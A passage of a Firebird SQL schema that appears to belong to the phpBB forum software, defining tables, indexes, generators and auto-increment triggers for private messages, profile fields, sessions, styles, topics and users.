INTEGER NOT NULL, root_level INTEGER DEFAULT 0 NOT NULL, author_id INTEGER DEFAULT 0 NOT NULL, icon_id INTEGER DEFAULT 0 NOT NULL, author_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, message_time INTEGER DEFAULT 0 NOT NULL, enable_bbcode INTEGER DEFAULT 1 NOT NULL, enable_smilies INTEGER DEFAULT 1 NOT NULL, enable_magic_url INTEGER DEFAULT 1 NOT NULL, enable_sig INTEGER DEFAULT 1 NOT NULL, message_subject VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, message_text BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, message_edit_reason VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, message_edit_user INTEGER DEFAULT 0 NOT NULL, message_attachment INTEGER DEFAULT 0 NOT NULL, bbcode_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, bbcode_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, message_edit_time INTEGER DEFAULT 0 NOT NULL, message_edit_count INTEGER DEFAULT 0 NOT NULL, to_address BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, bcc_address BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, message_reported INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_privmsgs ADD PRIMARY KEY (msg_id);; CREATE INDEX phpbb_privmsgs_author_ip ON phpbb_privmsgs(author_ip);; CREATE INDEX phpbb_privmsgs_message_time ON phpbb_privmsgs(message_time);; CREATE INDEX phpbb_privmsgs_author_id ON phpbb_privmsgs(author_id);; CREATE INDEX phpbb_privmsgs_root_level ON phpbb_privmsgs(root_level);; CREATE GENERATOR phpbb_privmsgs_gen;; SET GENERATOR phpbb_privmsgs_gen TO 0;; CREATE TRIGGER t_phpbb_privmsgs FOR phpbb_privmsgs BEFORE INSERT AS BEGIN NEW.msg_id = GEN_ID(phpbb_privmsgs_gen, 1); END;; # Table: 'phpbb_privmsgs_folder' CREATE TABLE phpbb_privmsgs_folder ( folder_id INTEGER NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, folder_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, pm_count INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_privmsgs_folder ADD PRIMARY KEY (folder_id);; CREATE INDEX phpbb_privmsgs_folder_user_id ON phpbb_privmsgs_folder(user_id);; CREATE GENERATOR phpbb_privmsgs_folder_gen;; SET GENERATOR phpbb_privmsgs_folder_gen TO 0;; CREATE TRIGGER t_phpbb_privmsgs_folder FOR phpbb_privmsgs_folder BEFORE INSERT AS BEGIN NEW.folder_id = GEN_ID(phpbb_privmsgs_folder_gen, 1); END;; # Table: 'phpbb_privmsgs_rules' CREATE TABLE phpbb_privmsgs_rules ( rule_id INTEGER NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, rule_check INTEGER DEFAULT 0 NOT NULL, rule_connection INTEGER DEFAULT 0 NOT NULL, rule_string VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, rule_user_id INTEGER DEFAULT 0 NOT NULL, rule_group_id INTEGER DEFAULT 0 NOT NULL, rule_action INTEGER DEFAULT 0 NOT NULL, rule_folder_id INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_privmsgs_rules ADD PRIMARY KEY (rule_id);; CREATE INDEX phpbb_privmsgs_rules_user_id ON phpbb_privmsgs_rules(user_id);; CREATE GENERATOR phpbb_privmsgs_rules_gen;; SET GENERATOR phpbb_privmsgs_rules_gen TO 0;; CREATE TRIGGER t_phpbb_privmsgs_rules FOR phpbb_privmsgs_rules BEFORE INSERT AS BEGIN NEW.rule_id = GEN_ID(phpbb_privmsgs_rules_gen, 1); END;; # Table: 'phpbb_privmsgs_to' CREATE TABLE phpbb_privmsgs_to ( msg_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, author_id INTEGER DEFAULT 0 NOT NULL, pm_deleted INTEGER DEFAULT 0 NOT NULL, pm_new INTEGER DEFAULT 1 NOT NULL, pm_unread INTEGER DEFAULT 1 NOT NULL, pm_replied INTEGER DEFAULT 0 NOT NULL, pm_marked INTEGER DEFAULT 0 NOT NULL, pm_forwarded INTEGER DEFAULT 0 NOT NULL, folder_id INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_privmsgs_to_msg_id ON phpbb_privmsgs_to(msg_id);; CREATE INDEX phpbb_privmsgs_to_author_id ON phpbb_privmsgs_to(author_id);; CREATE INDEX phpbb_privmsgs_to_usr_flder_id ON phpbb_privmsgs_to(user_id, folder_id);; # Table: 'phpbb_profile_fields' CREATE TABLE phpbb_profile_fields ( field_id INTEGER NOT NULL, field_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, field_type INTEGER DEFAULT 0 NOT NULL, field_ident VARCHAR(20) CHARACTER SET NONE DEFAULT '' NOT NULL, field_length VARCHAR(20) CHARACTER SET NONE DEFAULT '' NOT NULL, field_minlen VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, field_maxlen VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, field_novalue VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, field_default_value VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, field_validation VARCHAR(20) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, field_required INTEGER DEFAULT 0 NOT NULL, field_show_novalue INTEGER DEFAULT 0 NOT NULL, field_show_on_reg INTEGER DEFAULT 0 NOT NULL, field_show_on_vt INTEGER DEFAULT 0 NOT NULL, field_show_profile INTEGER DEFAULT 0 NOT NULL, field_hide INTEGER DEFAULT 0 NOT NULL, field_no_view INTEGER DEFAULT 0 NOT NULL, field_active INTEGER DEFAULT 0 NOT NULL, field_order INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_profile_fields ADD PRIMARY KEY (field_id);; CREATE INDEX phpbb_profile_fields_fld_type ON phpbb_profile_fields(field_type);; CREATE INDEX phpbb_profile_fields_fld_ordr ON phpbb_profile_fields(field_order);; CREATE GENERATOR phpbb_profile_fields_gen;; SET GENERATOR phpbb_profile_fields_gen TO 0;; CREATE TRIGGER t_phpbb_profile_fields FOR phpbb_profile_fields BEFORE INSERT AS BEGIN NEW.field_id = GEN_ID(phpbb_profile_fields_gen, 1); END;; # Table: 'phpbb_profile_fields_data' CREATE TABLE phpbb_profile_fields_data ( user_id INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_profile_fields_data ADD PRIMARY KEY (user_id);; # Table: 'phpbb_profile_fields_lang' CREATE TABLE phpbb_profile_fields_lang ( field_id INTEGER DEFAULT 0 NOT NULL, lang_id INTEGER DEFAULT 0 NOT NULL, option_id INTEGER DEFAULT 0 NOT NULL, field_type INTEGER DEFAULT 0 NOT NULL, lang_value VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_profile_fields_lang ADD PRIMARY KEY (field_id, lang_id, option_id);; # Table: 'phpbb_profile_lang' CREATE TABLE phpbb_profile_lang ( field_id INTEGER DEFAULT 0 NOT NULL, lang_id INTEGER DEFAULT 0 NOT NULL, lang_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, lang_explain BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, lang_default_value VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_profile_lang ADD PRIMARY KEY (field_id, lang_id);; # Table: 'phpbb_ranks' CREATE TABLE phpbb_ranks ( rank_id INTEGER NOT NULL, rank_title VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, rank_min INTEGER DEFAULT 0 NOT NULL, rank_special INTEGER DEFAULT 0 NOT NULL, rank_image VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_ranks ADD PRIMARY KEY (rank_id);; CREATE GENERATOR phpbb_ranks_gen;; SET GENERATOR phpbb_ranks_gen TO 0;; CREATE TRIGGER t_phpbb_ranks FOR phpbb_ranks BEFORE INSERT AS BEGIN NEW.rank_id = GEN_ID(phpbb_ranks_gen, 1); END;; # Table: 'phpbb_reports' CREATE TABLE phpbb_reports ( report_id INTEGER NOT NULL, reason_id INTEGER DEFAULT 0 NOT NULL, post_id INTEGER DEFAULT 0 NOT NULL, pm_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, user_notify INTEGER DEFAULT 0 NOT NULL, report_closed INTEGER DEFAULT 0 NOT NULL, report_time INTEGER DEFAULT 0 NOT NULL, report_text BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; ALTER TABLE phpbb_reports ADD PRIMARY KEY (report_id);; CREATE INDEX phpbb_reports_post_id ON phpbb_reports(post_id);; CREATE INDEX phpbb_reports_pm_id ON phpbb_reports(pm_id);; CREATE GENERATOR phpbb_reports_gen;; SET GENERATOR phpbb_reports_gen TO 0;; CREATE TRIGGER t_phpbb_reports FOR phpbb_reports BEFORE INSERT AS BEGIN NEW.report_id = GEN_ID(phpbb_reports_gen, 1); END;; # Table: 'phpbb_reports_reasons' CREATE TABLE phpbb_reports_reasons ( reason_id INTEGER NOT NULL, reason_title VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, reason_description BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, reason_order INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_reports_reasons ADD PRIMARY KEY (reason_id);; CREATE GENERATOR phpbb_reports_reasons_gen;; SET GENERATOR phpbb_reports_reasons_gen TO 0;; CREATE TRIGGER t_phpbb_reports_reasons FOR phpbb_reports_reasons BEFORE INSERT AS BEGIN NEW.reason_id = GEN_ID(phpbb_reports_reasons_gen, 1); END;; # Table: 'phpbb_search_results' CREATE TABLE phpbb_search_results ( search_key VARCHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, search_time INTEGER DEFAULT 0 NOT NULL, search_keywords BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, search_authors BLOB SUB_TYPE TEXT CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_search_results ADD PRIMARY KEY (search_key);; # Table: 'phpbb_search_wordlist' CREATE TABLE phpbb_search_wordlist ( word_id INTEGER NOT NULL, word_text VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, word_common INTEGER DEFAULT 0 NOT NULL, word_count INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_search_wordlist ADD PRIMARY KEY (word_id);; CREATE UNIQUE INDEX phpbb_search_wordlist_wrd_txt ON phpbb_search_wordlist(word_text);; CREATE INDEX phpbb_search_wordlist_wrd_cnt ON phpbb_search_wordlist(word_count);; CREATE GENERATOR phpbb_search_wordlist_gen;; SET GENERATOR phpbb_search_wordlist_gen TO 0;; CREATE TRIGGER t_phpbb_search_wordlist FOR phpbb_search_wordlist BEFORE INSERT AS BEGIN NEW.word_id = GEN_ID(phpbb_search_wordlist_gen, 1); END;; # Table: 'phpbb_search_wordmatch' CREATE TABLE phpbb_search_wordmatch ( post_id INTEGER DEFAULT 0 NOT NULL, word_id INTEGER DEFAULT 0 NOT NULL, title_match INTEGER DEFAULT 0 NOT NULL );; CREATE UNIQUE INDEX phpbb_search_wordmatch_unq_mtch ON phpbb_search_wordmatch(word_id, post_id, title_match);; CREATE INDEX phpbb_search_wordmatch_word_id ON phpbb_search_wordmatch(word_id);; CREATE INDEX phpbb_search_wordmatch_post_id ON phpbb_search_wordmatch(post_id);; # Table: 'phpbb_sessions' CREATE TABLE phpbb_sessions ( session_id CHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, session_user_id INTEGER DEFAULT 0 NOT NULL, session_forum_id INTEGER DEFAULT 0 NOT NULL, session_last_visit INTEGER DEFAULT 0 NOT NULL, session_start INTEGER DEFAULT 0 NOT NULL, session_time INTEGER DEFAULT 0 NOT NULL, session_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, session_browser VARCHAR(150) CHARACTER SET NONE DEFAULT '' NOT NULL, session_forwarded_for VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, session_page VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, session_viewonline INTEGER DEFAULT 1 NOT NULL, session_autologin INTEGER DEFAULT 0 NOT NULL, session_admin INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_sessions ADD PRIMARY KEY (session_id);; CREATE INDEX phpbb_sessions_session_time ON phpbb_sessions(session_time);; CREATE INDEX phpbb_sessions_session_user_id ON phpbb_sessions(session_user_id);; CREATE INDEX phpbb_sessions_session_fid ON phpbb_sessions(session_forum_id);; # Table: 'phpbb_sessions_keys' CREATE TABLE phpbb_sessions_keys ( key_id CHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, last_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, last_login INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_sessions_keys ADD PRIMARY KEY (key_id, user_id);; CREATE INDEX phpbb_sessions_keys_last_login ON phpbb_sessions_keys(last_login);; # Table: 'phpbb_sitelist' CREATE TABLE phpbb_sitelist ( site_id INTEGER NOT NULL, site_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, site_hostname VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, ip_exclude INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_sitelist ADD PRIMARY KEY (site_id);; CREATE GENERATOR phpbb_sitelist_gen;; SET GENERATOR phpbb_sitelist_gen TO 0;; CREATE TRIGGER t_phpbb_sitelist FOR phpbb_sitelist BEFORE INSERT AS BEGIN NEW.site_id = GEN_ID(phpbb_sitelist_gen, 1); END;; # Table: 'phpbb_smilies' CREATE TABLE phpbb_smilies ( smiley_id INTEGER NOT NULL, code VARCHAR(50) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, emotion VARCHAR(50) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, smiley_url VARCHAR(50) CHARACTER SET NONE DEFAULT '' NOT NULL, smiley_width INTEGER DEFAULT 0 NOT NULL, smiley_height INTEGER DEFAULT 0 NOT NULL, smiley_order INTEGER DEFAULT 0 NOT NULL, display_on_posting INTEGER DEFAULT 1 NOT NULL );; ALTER TABLE phpbb_smilies ADD PRIMARY KEY (smiley_id);; CREATE INDEX phpbb_smilies_display_on_post ON phpbb_smilies(display_on_posting);; CREATE GENERATOR phpbb_smilies_gen;; SET GENERATOR phpbb_smilies_gen TO 0;; CREATE TRIGGER t_phpbb_smilies FOR phpbb_smilies BEFORE INSERT AS BEGIN NEW.smiley_id = GEN_ID(phpbb_smilies_gen, 1); END;; # Table: 'phpbb_styles' CREATE TABLE phpbb_styles ( style_id INTEGER NOT NULL, style_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, style_copyright VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, style_active INTEGER DEFAULT 1 NOT NULL, template_id INTEGER DEFAULT 0 NOT NULL, theme_id INTEGER DEFAULT 0 NOT NULL, imageset_id INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_styles ADD PRIMARY KEY (style_id);; CREATE UNIQUE INDEX phpbb_styles_style_name ON phpbb_styles(style_name);; CREATE INDEX phpbb_styles_template_id ON phpbb_styles(template_id);; CREATE INDEX phpbb_styles_theme_id ON phpbb_styles(theme_id);; CREATE INDEX phpbb_styles_imageset_id ON phpbb_styles(imageset_id);; CREATE GENERATOR phpbb_styles_gen;; SET GENERATOR phpbb_styles_gen TO 0;; CREATE TRIGGER t_phpbb_styles FOR phpbb_styles BEFORE INSERT AS BEGIN NEW.style_id = GEN_ID(phpbb_styles_gen, 1); END;; # Table: 'phpbb_styles_template' CREATE TABLE phpbb_styles_template ( template_id INTEGER NOT NULL, template_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, template_copyright VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, template_path VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL, bbcode_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT 'kNg=' NOT NULL, template_storedb INTEGER DEFAULT 0 NOT NULL, template_inherits_id INTEGER DEFAULT 0 NOT NULL, template_inherit_path VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_styles_template ADD PRIMARY KEY (template_id);; CREATE UNIQUE INDEX phpbb_styles_template_tmplte_nm ON phpbb_styles_template(template_name);; CREATE GENERATOR phpbb_styles_template_gen;; SET GENERATOR phpbb_styles_template_gen TO 0;; CREATE TRIGGER t_phpbb_styles_template FOR phpbb_styles_template BEFORE INSERT AS BEGIN NEW.template_id = GEN_ID(phpbb_styles_template_gen, 1); END;; # Table: 'phpbb_styles_template_data' CREATE TABLE phpbb_styles_template_data ( template_id INTEGER DEFAULT 0 NOT NULL, template_filename VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL, template_included BLOB SUB_TYPE TEXT CHARACTER SET NONE DEFAULT '' NOT NULL, template_mtime INTEGER DEFAULT 0 NOT NULL, template_data BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; CREATE INDEX phpbb_styles_template_data_tid ON phpbb_styles_template_data(template_id);; CREATE INDEX phpbb_styles_template_data_tfn ON phpbb_styles_template_data(template_filename);; # Table: 'phpbb_styles_theme' CREATE TABLE phpbb_styles_theme ( theme_id INTEGER NOT NULL, theme_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, theme_copyright VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, theme_path VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL, theme_storedb INTEGER DEFAULT 0 NOT NULL, theme_mtime INTEGER DEFAULT 0 NOT NULL, theme_data BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; ALTER TABLE phpbb_styles_theme ADD PRIMARY KEY (theme_id);; CREATE UNIQUE INDEX phpbb_styles_theme_theme_name ON phpbb_styles_theme(theme_name);; CREATE GENERATOR phpbb_styles_theme_gen;; SET GENERATOR phpbb_styles_theme_gen TO 0;; CREATE TRIGGER t_phpbb_styles_theme FOR phpbb_styles_theme BEFORE INSERT AS BEGIN NEW.theme_id = GEN_ID(phpbb_styles_theme_gen, 1); END;; # Table: 'phpbb_styles_imageset' CREATE TABLE phpbb_styles_imageset ( imageset_id INTEGER NOT NULL, imageset_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, imageset_copyright VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, imageset_path VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_styles_imageset ADD PRIMARY KEY (imageset_id);; CREATE UNIQUE INDEX phpbb_styles_imageset_imgset_nm ON phpbb_styles_imageset(imageset_name);; CREATE GENERATOR phpbb_styles_imageset_gen;; SET GENERATOR phpbb_styles_imageset_gen TO 0;; CREATE TRIGGER t_phpbb_styles_imageset FOR phpbb_styles_imageset BEFORE INSERT AS BEGIN NEW.imageset_id = GEN_ID(phpbb_styles_imageset_gen, 1); END;; # Table: 'phpbb_styles_imageset_data' CREATE TABLE phpbb_styles_imageset_data ( image_id INTEGER NOT NULL, image_name VARCHAR(200) CHARACTER SET NONE DEFAULT '' NOT NULL, image_filename VARCHAR(200) CHARACTER SET NONE DEFAULT '' NOT NULL, image_lang VARCHAR(30) CHARACTER SET NONE DEFAULT '' NOT NULL, image_height INTEGER DEFAULT 0 NOT NULL, image_width INTEGER DEFAULT 0 NOT NULL, imageset_id INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_styles_imageset_data ADD PRIMARY KEY (image_id);; CREATE INDEX phpbb_styles_imageset_data_i_d ON phpbb_styles_imageset_data(imageset_id);; CREATE GENERATOR phpbb_styles_imageset_data_gen;; SET GENERATOR phpbb_styles_imageset_data_gen TO 0;; CREATE TRIGGER t_phpbb_styles_imageset_data FOR phpbb_styles_imageset_data BEFORE INSERT AS BEGIN NEW.image_id = GEN_ID(phpbb_styles_imageset_data_gen, 1); END;; # Table: 'phpbb_topics' CREATE TABLE phpbb_topics ( topic_id INTEGER NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, icon_id INTEGER DEFAULT 0 NOT NULL, topic_attachment INTEGER DEFAULT 0 NOT NULL, topic_approved INTEGER DEFAULT 1 NOT NULL, topic_reported INTEGER DEFAULT 0 NOT NULL, topic_title VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, topic_poster INTEGER DEFAULT 0 NOT NULL, topic_time INTEGER DEFAULT 0 NOT NULL, topic_time_limit INTEGER DEFAULT 0 NOT NULL, topic_views INTEGER DEFAULT 0 NOT NULL, topic_replies INTEGER DEFAULT 0 NOT NULL, topic_replies_real INTEGER DEFAULT 0 NOT NULL, topic_status INTEGER DEFAULT 0 NOT NULL, topic_type INTEGER DEFAULT 0 NOT NULL, topic_first_post_id INTEGER DEFAULT 0 NOT NULL, topic_first_poster_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, topic_first_poster_colour VARCHAR(6) CHARACTER SET NONE DEFAULT '' NOT NULL, topic_last_post_id INTEGER DEFAULT 0 NOT NULL, topic_last_poster_id INTEGER DEFAULT 0 NOT NULL, topic_last_poster_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, topic_last_poster_colour VARCHAR(6) CHARACTER SET NONE DEFAULT '' NOT NULL, topic_last_post_subject VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, topic_last_post_time INTEGER DEFAULT 0 NOT NULL, topic_last_view_time INTEGER DEFAULT 0 NOT NULL, topic_moved_id INTEGER DEFAULT 0 NOT NULL, topic_bumped INTEGER DEFAULT 0 NOT NULL, topic_bumper INTEGER DEFAULT 0 NOT NULL, poll_title VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, poll_start INTEGER DEFAULT 0 NOT NULL, poll_length INTEGER DEFAULT 0 NOT NULL, poll_max_options INTEGER DEFAULT 1 NOT NULL, poll_last_vote INTEGER DEFAULT 0 NOT NULL, poll_vote_change INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_topics ADD PRIMARY KEY (topic_id);; CREATE INDEX phpbb_topics_forum_id ON phpbb_topics(forum_id);; CREATE INDEX phpbb_topics_forum_id_type ON phpbb_topics(forum_id, topic_type);; CREATE INDEX phpbb_topics_last_post_time ON phpbb_topics(topic_last_post_time);; CREATE INDEX phpbb_topics_topic_approved ON phpbb_topics(topic_approved);; CREATE INDEX phpbb_topics_forum_appr_last ON phpbb_topics(forum_id, topic_approved, topic_last_post_id);; CREATE INDEX phpbb_topics_fid_time_moved ON phpbb_topics(forum_id, topic_last_post_time, topic_moved_id);; CREATE GENERATOR phpbb_topics_gen;; SET GENERATOR phpbb_topics_gen TO 0;; CREATE TRIGGER t_phpbb_topics FOR phpbb_topics BEFORE INSERT AS BEGIN NEW.topic_id = GEN_ID(phpbb_topics_gen, 1); END;; # Table: 'phpbb_topics_track' CREATE TABLE phpbb_topics_track ( user_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, mark_time INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_topics_track ADD PRIMARY KEY (user_id, topic_id);; CREATE INDEX phpbb_topics_track_topic_id ON phpbb_topics_track(topic_id);; CREATE INDEX phpbb_topics_track_forum_id ON phpbb_topics_track(forum_id);; # Table: 'phpbb_topics_posted' CREATE TABLE phpbb_topics_posted ( user_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, topic_posted INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_topics_posted ADD PRIMARY KEY (user_id, topic_id);; # Table: 'phpbb_topics_watch' CREATE TABLE phpbb_topics_watch ( topic_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, notify_status INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_topics_watch_topic_id ON phpbb_topics_watch(topic_id);; CREATE INDEX phpbb_topics_watch_user_id ON phpbb_topics_watch(user_id);; CREATE INDEX phpbb_topics_watch_notify_stat ON phpbb_topics_watch(notify_status);; # Table: 'phpbb_user_group' CREATE TABLE phpbb_user_group ( group_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, group_leader INTEGER DEFAULT 0 NOT NULL, user_pending INTEGER DEFAULT 1 NOT NULL );; CREATE INDEX phpbb_user_group_group_id ON phpbb_user_group(group_id);; CREATE INDEX phpbb_user_group_user_id ON phpbb_user_group(user_id);; CREATE INDEX phpbb_user_group_group_leader ON phpbb_user_group(group_leader);; # Table: 'phpbb_users' CREATE TABLE phpbb_users ( user_id INTEGER NOT NULL, user_type INTEGER DEFAULT 0 NOT NULL, group_id INTEGER DEFAULT 3 NOT NULL, user_permissions BLOB SUB_TYPE TEXT CHARACTER SET NONE DEFAULT '' NOT NULL, user_perm_from INTEGER DEFAULT 0 NOT NULL, user_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, user_regdate INTEGER DEFAULT 0 NOT NULL, username VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, username_clean VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_password VARCHAR(40) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_passchg INTEGER DEFAULT 0 NOT NULL, user_pass_convert INTEGER DEFAULT 0 NOT NULL, user_email VARCHAR(100) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_email_hash DOUBLE PRECISION DEFAULT 0 NOT NULL, user_birthday VARCHAR(10) CHARACTER SET NONE DEFAULT '' NOT NULL, user_lastvisit INTEGER DEFAULT 0 NOT NULL, user_lastmark INTEGER DEFAULT 0 NOT NULL, user_lastpost_time INTEGER DEFAULT 0 NOT NULL, user_lastpage VARCHAR(200) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_last_confirm_key VARCHAR(10) CHARACTER SET NONE DEFAULT '' NOT NULL, user_last_search INTEGER DEFAULT 0 NOT NULL, user_warnings INTEGER DEFAULT 0 NOT NULL, user_last_warning INTEGER DEFAULT 0 NOT NULL, user_login_attempts INTEGER DEFAULT 0 NOT NULL, user_inactive_reason INTEGER DEFAULT 0 NOT NULL, user_inactive_time INTEGER DEFAULT 0 NOT NULL, user_posts INTEGER DEFAULT 0 NOT NULL, user_lang VARCHAR(30) CHARACTER SET NONE DEFAULT '' NOT NULL, user_timezone DOUBLE PRECISION DEFAULT 0 NOT NULL, user_dst INTEGER DEFAULT 0 NOT NULL, user_dateformat VARCHAR(30) CHARACTER SET UTF8 DEFAULT 'd M Y H:i' NOT NULL COLLATE UNICODE, user_style INTEGER DEFAULT 0 NOT NULL, user_rank INTEGER DEFAULT 0 NOT NULL, user_colour VARCHAR(6) CHARACTER SET NONE DEFAULT '' NOT NULL, user_new_privmsg INTEGER DEFAULT 0 NOT NULL, user_unread_privmsg INTEGER DEFAULT 0 NOT NULL, user_last_privmsg INTEGER DEFAULT 0 NOT NULL, user_message_rules INTEGER DEFAULT 0 NOT NULL, user_full_folder INTEGER DEFAULT -3 NOT NULL, user_emailtime INTEGER DEFAULT 0 NOT NULL, user_topic_show_days INTEGER DEFAULT 0 NOT NULL, user_topic_sortby_type VARCHAR(1) CHARACTER SET NONE DEFAULT 't' NOT NULL, user_topic_sortby_dir VARCHAR(1) CHARACTER SET NONE DEFAULT 'd' NOT NULL, user_post_show_days INTEGER DEFAULT 0 NOT NULL, user_post_sortby_type VARCHAR(1) CHARACTER SET NONE DEFAULT 't' NOT NULL, user_post_sortby_dir VARCHAR(1) CHARACTER SET NONE DEFAULT 'a' NOT NULL, user_notify INTEGER DEFAULT 0 NOT NULL, user_notify_pm INTEGER DEFAULT 1 NOT NULL, user_notify_type INTEGER DEFAULT 0 NOT NULL, user_allow_pm INTEGER DEFAULT 1 NOT NULL, user_allow_viewonline INTEGER DEFAULT 1 NOT NULL, user_allow_viewemail INTEGER DEFAULT 1 NOT NULL, user_allow_massemail INTEGER DEFAULT 1 NOT NULL, user_options INTEGER DEFAULT 230271 NOT NULL, user_avatar VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, user_avatar_type INTEGER DEFAULT 0 NOT NULL, user_avatar_width INTEGER DEFAULT 0 NOT NULL, user_avatar_height INTEGER DEFAULT 0 NOT 